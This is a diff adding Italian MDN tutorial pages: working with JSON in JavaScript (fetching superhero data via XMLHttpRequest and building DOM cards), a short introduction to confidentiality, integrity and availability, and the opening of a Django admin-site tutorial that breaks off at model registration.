+<p class="summary">JavaScript Object Notation (JSON) è un formato testuale standard, usato per rappresentare dati strutturati basati sulla sintassi degli oggetti in JavaScript. E' usato comunemente per la trasmissione dati nelle applicazioni web (ad es. inviare dati dal server al client in modo da visualizzarli in una pagina web o viceversa). Ti imbatterai abbastanza spesso in questo formato, così in questo articolo ti forniremo tutto ciò che ti occorre per lavorare con JSON usando JavaScript, incluso la lettura (parsing) del JSON in modo da accedere ai dati in esso contenuti, così come a generare JSON.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenza informatica di base, comprensione base di HTML e CSS, familiarità con i concetti base di JavaScript (vedi <a href="/en-US/docs/Learn/JavaScript/First_steps">Primi passi</a> e <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Costruzione blocchi</a>) e con i concetti base degli oggetti JS (vedi <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduzione agli oggetti</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Comprendere il funzionamento dei dati megorizzati in JSON e creare i tuoi oggetti JSON.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="No_davvero_cosè_JSON">No, davvero, cos'è JSON?</h2>
+
+<p>{{glossary("JSON")}} è un formato dati testuale che segue la sintassi degli oggetti JavaScript, reso popolare da <a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a>. Anche se richiama da vicino la sintassi letterale degli oggetti JavaScript, può essere usato indipendentemente da JavaScript, e molti ambienti di programmazione supportano la lettura (parsing) e la generazione di JSON.</p>
+
+<p>JSON esiste sotto forma di una stringa — utile quando vuoi trasmettere dati in una rete. Deve essere poi convertito in un oggetto javaScript nativo quando vuoi accedere ai dati che rappresenta. La conversione tra i due è piuttosto banale —  grazie ai metodi dell'oggetto globale <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> di JavaScript.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Convertire una stringa in un oggetto nativo è chiamata <em>deserializzazione</em>, mentre convertire un oggetto nativo in una stringa in modo da poterlo trasmettere in rete, è chiamata <em>serializzazione</em>.</p>
+</div>
+
+<p>Un oggetto JSON object può essere memorizzato in un file dedicato, essenzialmente un file di testo con estensione <code>.json</code>, e un {{glossary("tipo MIME")}} <code>application/json</code>.</p>
+
+<h3 id="Struutura_di_un_JSON">Struutura di un JSON </h3>
+
+<p>Come descritto sopra, un JSON non è altro che una stringa il cui formato è molto simile al formato letterale di un oggetto JavaScript. E' possibile includere in JSON gli stessi tipi di dato base possibili in un oggetto standard di JavaScript — stringhe, numeri, arrays, booleani e altri oggetti letterali. Questo ti consente di costruire una gerarchia dei dati, ad esempio:</p>
+
+<pre class="brush: json">{
+  "squadName": "Super hero squad",
+  "homeTown": "Metro City",
+  "formed": 2016,
+  "secretBase": "Super tower",
+  "active": true,
+  "members": [
+    {
+      "name": "Molecule Man",
+      "age": 29,
+      "secretIdentity": "Dan Jukes",
+      "powers": [
+        "Radiation resistance",
+        "Turning tiny",
+        "Radiation blast"
+      ]
+    },
+    {
+      "name": "Madame Uppercut",
+      "age": 39,
+      "secretIdentity": "Jane Wilson",
+      "powers": [
+        "Million tonne punch",
+        "Damage resistance",
+        "Superhuman reflexes"
+      ]
+    },
+    {
+      "name": "Eternal Flame",
+      "age": 1000000,
+      "secretIdentity": "Unknown",
+      "powers": [
+        "Immortality",
+        "Heat Immunity",
+        "Inferno",
+        "Teleportation",
+        "Interdimensional travel"
+      ]
+    }
+  ]
+}</pre>
+
+<p>Se carichiamo questo oggetto in un programma, processato in una variabile chiamata <code>superHeroes</code> per esempio, potremmo accedere ai dati che contiene usando la medesima notazione punto/parentesi vista nell'articolo <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Fondamentali degli oggetti JavaScript</a>. Per esempio:</p>
+
+<pre class="brush: js">superHeroes.homeTown
+superHeroes['active']</pre>
+
+<p>Per accedere ai dati gerarchicamente inferiori, occorre semplicemente concatenare i nome delle proprietà e gli indici degli array.  Ad esempio, per accedere al terzo superpotere del secondo eroe nella lista dei membri, procedi come segue:</p>
+
+<pre class="brush: js">superHeroes['members'][1]['powers'][2]</pre>
+
+<ol>
+ <li>Per primo abbiamo il nome della variabile — <code>superHeroes</code>.</li>
+ <li>All'interno della variabile vogliamo accedere alla proprietà <code>members</code>, così utilizziamo <code>["members"]</code>.</li>
+ <li><code>members</code> contiene un array popolato da oggetti. Noi vogliamo accedere al secondo oggetto dell'array, quindi usiamo <code>[1]</code>.</li>
+ <li>all'interno dell'oggetto così trovato, vogliamo poi accedere alla proprietà <code>powers</code> e per ciò usiamo <code>["powers"]</code>.</li>
+ <li>La proprietà <code>powers</code> contiene a sua volta un array in cui sono elencate i superpoteri dell'eroe selezionato. Noi vogliamo la terza in lista, usiamo quindi <code>[2]</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Abbiamo reso disponibile il JSON visto sopra, in una variabile del nostro esempio <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONTest.html</a> (vedi il <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">codice sorgente</a>). Prova a caricarlo e poi accedi alla variabile dalla console JavaScript del tuo browser.</p>
+</div>
+
+<h3 id="Arrays_as_JSON">Arrays as JSON</h3>
+
+<p>Above we mentioned that JSON text basically looks like a JavaScript object, and this is mostly right. The reason we said "mostly right" is that an array is also valid JSON, for example:</p>
+
+<pre class="brush: json">[
+  {
+    "name": "Molecule Man",
+    "age": 29,
+    "secretIdentity": "Dan Jukes",
+    "powers": [
+      "Radiation resistance",
+      "Turning tiny",
+      "Radiation blast"
+    ]
+  },
+  {
+    "name": "Madame Uppercut",
+    "age": 39,
+    "secretIdentity": "Jane Wilson",
+    "powers": [
+      "Million tonne punch",
+      "Damage resistance",
+      "Superhuman reflexes"
+    ]
+  }
+]</pre>
+
+<p>The above is perfectly valid JSON. You'd just have to access array items (in its parsed version) by starting with an array index, for example <code>[0]["powers"][0]</code>.</p>
+
+<h3 id="Other_notes">Other notes</h3>
+
+<ul>
+ <li>JSON is purely a data format — it contains only properties, no methods.</li>
+ <li>JSON requires double quotes to be used around strings and property names. Single quotes are not valid.</li>
+ <li>Even a single misplaced comma or colon can cause a JSON file to go wrong, and not work. You should be careful to validate any data you are attempting to use (although computer-generated JSON is less likely to include errors, as long as the generator program is working correctly). You can validate JSON using an application like <a href="http://jsonlint.com/">JSONLint</a>.</li>
+ <li>JSON can actually take the form of any data type that is valid for inclusion inside JSON, not just arrays or objects. So for example, a single string or number would be a valid JSON object.</li>
+ <li>Unlike in JavaScript code in which object properties may be unquoted, in JSON only quoted strings may be used as properties.</li>
+</ul>
+
+<h2 id="Active_learning_Working_through_a_JSON_example">Active learning: Working through a JSON example</h2>
+
+<p>So, let's work through an example to show how we could make use of some JSON data on a website.</p>
+
+<h3 id="Getting_started">Getting started</h3>
+
+<p>To begin with, make local copies of our <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes.html">heroes.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/style.css">style.css</a> files. The latter contains some simple CSS to style our page, while the former contains some very simple body HTML:</p>
+
+<pre class="brush: html">&lt;header&gt;
+&lt;/header&gt;
+
+&lt;section&gt;
+&lt;/section&gt;</pre>
+
+<p>Plus a {{HTMLElement("script")}} element to contain the JavaScript code we will be writing in this exercise. At the moment it only contains two lines, which grab references to the {{HTMLElement("header")}} and {{HTMLElement("section")}} elements and store them in variables:</p>
+
+<pre class="brush: js">const header = document.querySelector('header');
+const section = document.querySelector('section');</pre>
+
+<p>We have made our JSON data available on our GitHub, at <a href="https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json</a>.</p>
+
+<p>We are going to load it into our page, and use some nifty DOM manipulation to display it, like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13857/json-superheroes.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Obtaining_the_JSON">Obtaining the JSON</h3>
+
+<p>To obtain the JSON, we use an API called {{domxref("XMLHttpRequest")}} (often called <strong>XHR</strong>). This is a very useful JavaScript object that allows us to make network requests to retrieve resources from a server via JavaScript (e.g. images, text, JSON, even HTML snippets), meaning that we can update small sections of content without having to reload the entire page. This has led to more responsive web pages, and sounds exciting, but it is beyond the scope of this article to teach it in much more detail.</p>
+
+<ol>
+ <li>To start with, we store the URL of the JSON we want to retrieve in a variable. Add the following at the bottom of your JavaScript code:
+  <pre class="brush: js">let requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre>
+ </li>
+ <li>To create a request, we need to create a new request object instance from the <code>XMLHttpRequest</code> constructor, using the <code>new</code> keyword. Add the following below your last line:
+  <pre class="brush: js">let request = new XMLHttpRequest();</pre>
+ </li>
+ <li>Now we need to open the request using the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a></code> method. Add the following line:
+  <pre class="brush: js">request.open('GET', requestURL);</pre>
+
+  <p>This takes at least two parameters — there are other optional parameters available. We only need the two mandatory ones for this simple example:</p>
+
+  <ul>
+   <li>The HTTP method to use when making the network request. In this case <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> is fine, as we are just retrieving some simple data.</li>
+   <li>The URL to make the request to — this is the URL of the JSON file that we stored earlier.</li>
+  </ul>
+ </li>
+ <li>Next, add the following two lines — here we are setting the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> to JSON, so that XHR knows that the server will be returning JSON, and that this should be converted behind the scenes into a JavaScript object. Then we send the request with the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a></code> method:
+  <pre class="brush: js">request.responseType = 'json';
+request.send();</pre>
+ </li>
+ <li>The last bit of this section involves waiting for the response to return from the server, then dealing with it. Add the following code below your previous code:
+  <pre class="brush: js">request.onload = function() {
+  const superHeroes = request.response;
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+ </li>
+</ol>
+
+<p>Here we are storing the response to our request (available in the <code><a href="/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code> property) in a variable called <code>superHeroes</code>; this variable now contains the JavaScript object based on the JSON! We are then passing that object to two function calls — the first one fills the &lt;<code>header&gt;</code> with the correct data, while the second one creates an information card for each hero on the team, and inserts it into the <code>&lt;section&gt;</code>.</p>
+
+<p>We have wrapped the code in an event handler that runs when the load event fires on the request object (see <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) — this is because the load event fires when the response has successfully returned; doing it this way guarantees that <code>request.response</code> will definitely be available when we come to try to do something with it.</p>
+
+<h3 id="Populating_the_header">Populating the header</h3>
+
+<p>Now that we've retrieved the JSON data and converted it into a JavaScript object, let's make use of it by writing the two functions we referenced above. First of all, add the following function definition below the previous code:</p>
+
+<pre class="brush: js">function populateHeader(jsonObj) {
+  const myH1 = document.createElement('h1');
+  myH1.textContent = jsonObj['squadName'];
+  header.appendChild(myH1);
+
+  const myPara = document.createElement('p');
+  myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed'];
+  header.appendChild(myPara);
+}</pre>
+
+<p>We named the parameter <code>jsonObj</code>, to remind ourselves that this JavaScript object originated from JSON. Here we first create an {{HTMLElement("h1")}} element with <code><a href="/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, set its <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> to equal the <code>squadName</code> property of the object, then append it to the header using <code><a href="/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. We then do a very similar operation with a paragraph: create it, set its text content and append it to the header. The only difference is that its text is set to a concatenated string containing both the <code>homeTown</code> and <code>formed</code> properties of the object.</p>
+
+<h3 id="Creating_the_hero_information_cards">Creating the hero information cards</h3>
+
+<p>Next, add the following function at the bottom of the code, which creates and displays the superhero cards:</p>
+
+<pre class="brush: js">function showHeroes(jsonObj) {
+  const heroes = jsonObj['members'];
+
+  for (let i = 0; i &lt; heroes.length; i++) {
+    const myArticle = document.createElement('article');
+    const myH2 = document.createElement('h2');
+    const myPara1 = document.createElement('p');
+    const myPara2 = document.createElement('p');
+    const myPara3 = document.createElement('p');
+    const myList = document.createElement('ul');
+
+    myH2.textContent = heroes[i].name;
+    myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity;
+    myPara2.textContent = 'Age: ' + heroes[i].age;
+    myPara3.textContent = 'Superpowers:';
+
+    const superPowers = heroes[i].powers;
+    for (let j = 0; j &lt; superPowers.length; j++) {
+      const listItem = document.createElement('li');
+      listItem.textContent = superPowers[j];
+      myList.appendChild(listItem);
+    }
+
+    myArticle.appendChild(myH2);
+    myArticle.appendChild(myPara1);
+    myArticle.appendChild(myPara2);
+    myArticle.appendChild(myPara3);
+    myArticle.appendChild(myList);
+
+    section.appendChild(myArticle);
+  }
+}</pre>
+
+<p>To start with, we store the <code>members</code> property of the JavaScript object in a new variable. This array contains multiple objects that contain the information for each hero.</p>
+
+<p>Next, we use a <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for loop</a> to loop through each object in the array. For each one, we:</p>
+
+<ol>
+ <li>Create several new elements: an <code>&lt;article&gt;</code>, an <code>&lt;h2&gt;</code>, three <code>&lt;p&gt;</code>s, and a <code>&lt;ul&gt;</code>.</li>
+ <li>Set the <code>&lt;h2&gt;</code> to contain the current hero's <code>name</code>.</li>
+ <li>Fill the three paragraphs with their <code>secretIdentity</code>, <code>age</code>, and a line saying "Superpowers:" to introduce the information in the list.</li>
+ <li>Store the <code>powers</code> property in another new constant called <code>superPowers</code> — this contains an array that lists the current hero's superpowers.</li>
+ <li>Use another <code>for</code> loop to loop through the current hero's superpowers — for each one we create an <code>&lt;li&gt;</code> element, put the superpower inside it, then put the <code>listItem</code> inside the <code>&lt;ul&gt;</code> element (<code>myList</code>) using <code>appendChild()</code>.</li>
+ <li>The very last thing we do is to append the <code>&lt;h2&gt;</code>, <code>&lt;p&gt;</code>s, and <code>&lt;ul&gt;</code> inside the <code>&lt;article&gt;</code> (<code>myArticle</code>), then append the <code>&lt;article&gt;</code> inside the <code>&lt;section&gt;</code>. The order in which things are appended is important, as this is the order they will be displayed inside the HTML.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If you are having trouble getting the example to work, try referring to our <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> source code (see it <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">running live</a> also.)</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you are having trouble following the dot/bracket notation we are using to access the JavaScript object, it can help to have the <a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> file open in another tab or your text editor, and refer to it as you look at our JavaScript. You should also refer back to our <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a> article for more information on dot and bracket notation.</p>
+</div>
+
+<h2 id="Converting_between_objects_and_text">Converting between objects and text</h2>
+
+<p>The above example was simple in terms of accessing the JavaScript object, because we set the XHR request to convert the JSON response directly into a JavaScript object using:</p>
+
+<pre class="brush: js">request.responseType = 'json';</pre>
+
+<p>But sometimes we aren't so lucky — sometimes we receive a raw JSON string, and we need to convert it to an object ourselves. And when we want to send a JavaScript object across the network, we need to convert it to JSON (a string) before sending. Luckily, these two problems are so common in web development that a built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> object is available in browsers, which contains the following two methods:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: Accepts a JSON string as a parameter, and returns the corresponding JavaScript object.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code>: Accepts an object as a parameter, and returns the equivalent JSON string form.</li>
+</ul>
+
+<p>You can see the first one in action in our <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a> example (see the <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">source code</a>) — this does exactly the same thing as the example we built up earlier, except that we set the XHR to return the raw JSON text, then used <code>parse()</code> to convert it to an actual JavaScript object. The key snippet of code is here:</p>
+
+<pre class="brush: js">request.open('GET', requestURL);
+request.responseType = 'text'; // now we're getting a string!
+request.send();
+
+request.onload = function() {
+  const superHeroesText = request.response; // get the string from the response
+  const superHeroes = JSON.parse(superHeroesText); // convert it to an object
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+
+<p>As you might guess, <code>stringify()</code> works the opposite way. Try entering the following lines into your browser's JavaScript console one by one to see it in action:</p>
+
+<pre class="brush: js">let myJSON = { "name": "Chris", "age": "38" };
+myJSON
+let myString = JSON.stringify(myJSON);
+myString</pre>
+
+<p>Here we're creating a JavaScript object, then checking what it contains, then converting it to a JSON string using <code>stringify()</code> — saving the return value in a new variable — then checking it again.</p>
+
+<h2 id="Test_your_skills!">Test your skills!</h2>
+
+<p>You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see <a href="/en-US/docs/Learn/JavaScript/Objects/Test_your_skills:_JSON">Test your skills: JSON</a>.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article, we've given you a simple guide to using JSON in your programs, including how to create and parse JSON, and how to access data locked inside it. In the next article, we'll begin looking at object-oriented JavaScript.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest object reference page</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li>
+ <li><a href="http://json.org">Official JSON web site with link to ECMA standard</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/it/learn/riservatezza,_integrità_e_disponibilità/index.html b/files/it/learn/riservatezza,_integrità_e_disponibilità/index.html
new file mode 100644
index 0000000000..23b0a37a89
--- /dev/null
+++ b/files/it/learn/riservatezza,_integrità_e_disponibilità/index.html
@@ -0,0 +1,69 @@
+---
+title: 'Riservatezza, Integrità e Disponibilità'
+slug: 'Learn/Riservatezza,_Integrità_e_Disponibilità'
+tags:
+  - Iniziare
+  - Principiante
+  - Sicurezza
+  - Tutorial
+translation_of: 'Archive/Security/Confidentiality,_Integrity,_and_Availability'
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}{{draft}}</div>
+
+<div class="summary" style="margin: 0px 0px 20px; padding: 20px; border: 0px; font-weight: 700; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background: rgb(244, 247, 248);">
+<p style="margin: 0px; padding: 0px; border: 0px;">Questo articolo discute gli obiettivi principali della sicurezza: riservatezza, integrità e disponibilità.</p>
+</div>
+
+<table class="learn-box standard-table" style="background-color: rgb(255, 255, 255); border-collapse: collapse; border-color: rgb(246, 152, 85); border-style: solid; border-width: 1px 1px 1px 5px; color: rgb(77, 78, 83); font-family: open sans,sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; margin: 0px 0px 24px; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">
+ <tbody>
+  <tr style="margin: 0px; padding: 0px; border: 0px;">
+   <th scope="row" style="margin: 0px; padding: 6px; border-top-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-style: solid none solid solid; font-style: inherit; font-weight: 700; text-align: right; font-family: 'Open Sans', sans-serif; font-size: 14px; vertical-align: top; background: rgb(252, 225, 206);">Prerquisiti:</th>
+   <td style="margin: 0px; padding: 6px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-style: solid solid solid none; text-align: left; box-shadow: none; font-style: italic; background-color: rgb(254, 249, 245);">Non sono rischiesti prerequisiti per questo articolo.</td>
+  </tr>
+  <tr style="margin: 0px; padding: 0px; border: 0px;">
+   <th scope="row" style="margin: 0px; padding: 6px; border-top-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-style: solid none solid solid; font-style: inherit; font-weight: 700; text-align: right; font-family: 'Open Sans', sans-serif; font-size: 14px; vertical-align: top; background: rgb(252, 225, 206);">Obiettivo:</th>
+   <td style="margin: 0px; padding: 6px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-style: solid solid solid none; text-align: left; box-shadow: none; font-style: italic; background-color: rgb(254, 249, 245);">Imparerai cosa sono riservatezza, integrità e disponibilità e come questi possono influire sui dati e il sistema.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Il modello classico della sicurezza delle informazioni definisce tre obiettivi di sicurezza: il mantenimento della riservatezza, l'integrità, e la disponibiltà. Ciascun obiettivo tratta un differente aspetto del fornire protezione alle informazioni.</p>
+
+<h2 id="Apprendimento_Attivo" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.14285714285714rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);">Apprendimento Attivo</h2>
+
+<p style="margin: 0px 0px 24px; padding: 0px; border: 0px; color: rgb(77, 78, 83); font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><em>Non sono ancora presenti attività di apprendimento attivo. <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none;">Prendi in considerazione di contribuire, per favore.</a></em></p>
+
+<h2 id="Approfondimento" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.14285714285714rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);">Approfondimento</h2>
+
+<h3 id="Riservatezza">Riservatezza</h3>
+
+<p><em>Riservatezza</em> significa proteggere le informazioni dagli accessi da parte di soggetti non autorizzati. In altre parole, solo chi è autorizzato a farlo può guadagnare l'accesso ai dati sensibili. Immagina i tuoi dati della banca. Soltanto tu dovresti poter accedervi e l'impiegato della banca che ti sta aiutando con una transazione e nessun altro. Un fallimento nel mantenimento della riservatezza significa che qualcuno che non dovrebbe avere l'accesso è riuscito ad ottenerlo, intenzionalmente o accidentalmente. Un fallimento di riservatezza di questo genere, comunemente conosciuto come <em>breach o violazione, </em>solitamente non è recuperabile. Una volta che il segreto viene svelato, non esiste alcun modo per celarlo di nuovo. Se i tuoi archivi bancari vengono postati su un sito pubblico, chiunque puù conoscere il tuo numero di conto, il tuo estratto conto, ecc... e queste informazioni non possono essere cancellate dalle loro menti, dai fogli, dai computer e qualunque altro posto. Quasi tutti i maggiori incidenti odierni di sicurezza riportati dai media implicano una importante perdita di riservatezza.<em> </em></p>
+
+<p>Tirando le somme, una violazione della riservatezza significa che qualcuno guadagna l'accesso a delle informazioni a cui non dovrebbe averne.</p>
+
+<h3 id="Integrità">Integrità</h3>
+
+<p><em>Integrità</em> vuol dire garantire l'autenticità dell'informazione, che tale informazione non sia alterata e che la sorgente dell'informazione sia autentica. Immagina di avere un sito web e che venda alcuni prodotti su questo sito. Ora, immagina che dei malintenzionati possano fare acquisti sul tuo sito e malevolmente modifichino il prezzo dei tuoi prodotti, potendo in questo modo comprare qualnque cosa a qualunque prezzo scelgano. Questo sarebbe una mancanza di integrità, in quanto le tue informazioni, in questo caso il prezzo del prodotto, è stato modificato pur non avendo mai autorizzato tale modifica. Un altro esempio di fallimento di integrità è quando cerchi di connetteri ad un sito e un malintenzionato frapposto tra te e il sito reindirizzo il tuo traffico in un sito diverso. In questo caso, il sito a cui vieni indirizzato non è autentico.</p>
+
+<h3 id="Disponibiltà">Disponibiltà</h3>
+
+<p><em>Disponibilità</em> significa che l'informazione è accessibile agli utenti autorizzati.</p>
+
+<h2 id="Prossimo_Passo">Prossimo Passo</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/Vulnerabilities">Vulnerabilità</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Karen Scarfone, Wayne Jansen, and Miles Tracy</li>
+ <li>Title: NIST Special Publication 800-123, Guide to General Server Security</li>
+ <li>Last Updated Date: July 2008</li>
+ <li>Copyright Information: This document is not subject to copyright.</li>
+</ul>
+</div>
diff --git a/files/it/learn/server-side/django/admin_site/index.html b/files/it/learn/server-side/django/admin_site/index.html
new file mode 100644
index 0000000000..6cb1fac11a
--- /dev/null
+++ b/files/it/learn/server-side/django/admin_site/index.html
@@ -0,0 +1,361 @@
+---
+title: 'Django Tutorial Part 4: Django admin site'
+slug: Learn/Server-side/Django/Admin_site
+tags:
+  - Articolo
+  - Codice
+  - Python
+  - Script
+  - Server
+  - Tutorial
+  - django
+  - django_admin
+  - imparare
+  - inizio
+  - nuovo
+translation_of: Learn/Server-side/Django/Admin_site
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Dopo aver creato i modelli per la nostra <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, useremo il sito di Django Admin per aggiungere alcuni dati "reali" sui libri. Per prima cosa ti mostreremo come registrare i modelli con il sito di amministrazione, quindi ti mostreremo come accedere e creare alcuni dati. Alla fine dell'articolo mostreremo alcuni modi per migliorare ulteriormente la presentazione del sito di amministrazione.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Prima completa: <a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivi:</th>
+   <td>Per capire i vantaggi e le limitazioni del sito di amministrazione Django, e usarlo per creare alcuni record per i nostri modelli.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>L'applicazione di amministrazione Django può utilizzare i modelli per creare automaticamente un'area del sito che è possibile utilizzare per creare, visualizzare, aggiornare ed eliminare record. Questo può farti risparmiare molto tempo durante lo sviluppo, rendendo molto facile testare i tuoi modelli e capire se hai i dati giusti. L'applicazione di amministrazione può anche essere utile per la gestione dei dati in produzione, a seconda del tipo di sito Web. Il progetto Django lo consiglia solo per la gestione interna dei dati (vale a dire solo per gli amministratori o le persone interne alla tua organizzazione), poiché l'approccio model-centric non è necessariamente la migliore interfaccia possibile per tutti gli utenti e espone molti dettagli inutili sui modelli.</p>
+
+<p>Tutta la configurazione richiesta per includere l'applicazione di amministrazione nel tuo sito Web è stata eseguita automaticamente quando hai creato il progetto skeleton (per informazioni sulle reali dipendenze necessarie, consulta <a href="https://docs.djangoproject.com/en/2.1/ref/contrib/admin/">Django docs</a>). Di conseguenza, tutto ciò che devi fare per aggiungere i tuoi modelli all'applicazione admin è registrarli. Alla fine di questo articolo forniremo una breve dimostrazione di come è possibile configurare ulteriormente l'area di amministrazione per visualizzare meglio i dati del modello.</p>
+
+<p>Dopo aver registrato i modelli, mostreremo come creare un nuovo "superutente", accedere al sito e creare alcuni libri, autori, istanze di libri e generi. Questi saranno utili per testare le viste e i modelli che inizieremo a creare nel prossimo tutorial.</p>
+
+<h2 id="Registrare_i_models">Registrare i models </h2>
+
+<p>Apri <strong>admin.py</strong> in catalog (<strong>/locallibrary/catalog/admin.py</strong>). Notare che essa già contiene l'istruzione <code>django.contrib.admin</code>:</p>
+
+<pre class="brush: python">from django.contrib import admin
+
+# Register your models here.
+</pre>
+
+<p>Registrare i modelli copiando il seguente testo nella parte inferiore del file. Questo codice importa semplicemente i modelli e quindi le chiamate <code>admin.site.register</code> Per registrarli.</p>
+
